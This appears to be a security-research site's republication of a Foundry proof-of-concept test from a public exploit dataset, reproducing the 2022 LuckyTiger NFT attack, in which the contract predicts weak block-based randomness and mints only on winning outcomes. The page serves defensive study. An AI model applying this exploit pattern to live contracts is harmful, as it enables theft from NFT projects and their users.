Public reproduction file
src/test/2022-08/LuckyTiger_exp.sol
Public reproduction file for dataset entry LuckyTiger NFT.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: GPL-3.03pragma solidity ^0.8.13;5import "forge-std/Test.sol";7/*8 Attacker: 0x3392c91403f09ad3b7e7243dbd4441436c7f443c9 Attack tx: https://etherscan.io/tx/0x804ff3801542bff435a5d733f4d8a93a535d73d0de0f843fd979756a7eab26af10 poc refers to: https://github.com/0xNezha/luckyHack11*/13interface NFT {14 function balanceOf(15 address _owner16 ) external view returns (uint256 balance);17}19contract luckyHack is Test {20 event Log(string);22 address owner = address(this);23 address nftAddress = 0x9c87A5726e98F2f404cdd8ac8968E9b2C80C0967;25 function setUp() public {26 vm.createSelectFork("mainnet", 15_403_430); // fork mainnet block number 1540343027 vm.deal(address(this), 3 ether);28 vm.deal(address(nftAddress), 5 ether);29 }31 function getRandom() public view returns (uint256) {32 if (uint256(keccak256(abi.encodePacked(block.difficulty, block.timestamp))) % 2 == 0) {33 return 0;34 } else {35 return 1;36 }37 }39 function onERC721Received(address, address, uint256, bytes memory) public pure returns (bytes4) {40 return this.onERC721Received.selector;41 }43 function testExploit() public {44 vm.warp(1_661_351_167);45 console.log("getRandom", getRandom());47 uint256 amount = 10;49 if (uint256(keccak256(abi.encodePacked(block.difficulty, block.timestamp))) % 2 == 0) {50 revert("Not lucky");51 }52 bytes memory data = abi.encodeWithSignature("publicMint()");54 for (uint256 i = 0; i < amount; ++i) {55 (bool status,) = address(nftAddress).call{value: 0.01 ether}(data);56 if (!status) {57 revert("error");58 } else {59 emit Log("success");60 }61 }63 console.log("NFT we got:", NFT(nftAddress).balanceOf(address(this)));64 }66 function getBalance() external view returns (uint256) {67 return address(this).balance;68 }70 receive() external payable {}71}Analysis
Dataset entry
Public Foundry test for “LuckyTiger NFT” (2022-08-24). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
10 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-08/ANCH_exp.solSame month in the dataset · 65 lines
- src/test/2022-08/Circle_exp2.solSame month in the dataset · 151 lines
- src/test/2022-08/Circle_exp1.solSame month in the dataset · 150 lines
- src/test/2022-08/DDC_exp.solSame month in the dataset · 86 lines
- src/test/2022-08/EGD_Finance_exp.solSame month in the dataset · 143 lines
- src/test/2022-08/EtnProduct_exp.solSame month in the dataset · 108 lines
- src/test/2022-08/NomadBridge_exp.solSame month in the dataset · 91 lines
- src/test/2022-08/Qixi_exp.solSame month in the dataset · 32 lines
- src/test/2022-08/ReaperFarm_exp.solSame month in the dataset · 57 lines
- src/test/2022-08/XST_exp.solSame month in the dataset · 76 lines
File record
- Name
- LuckyTiger NFT
- Path
- src/test/2022-08/LuckyTiger_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 9b279f78c428672378e926f5d4abb933875e1ce7
- Language
- Solidity
- Size
- 72 lines
- Date
- 2022-08-24
- Licence
- file header GPL-3.0; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-08/LuckyTiger_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 9b279f78c428672378e926f5d4abb933875e1ce7, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.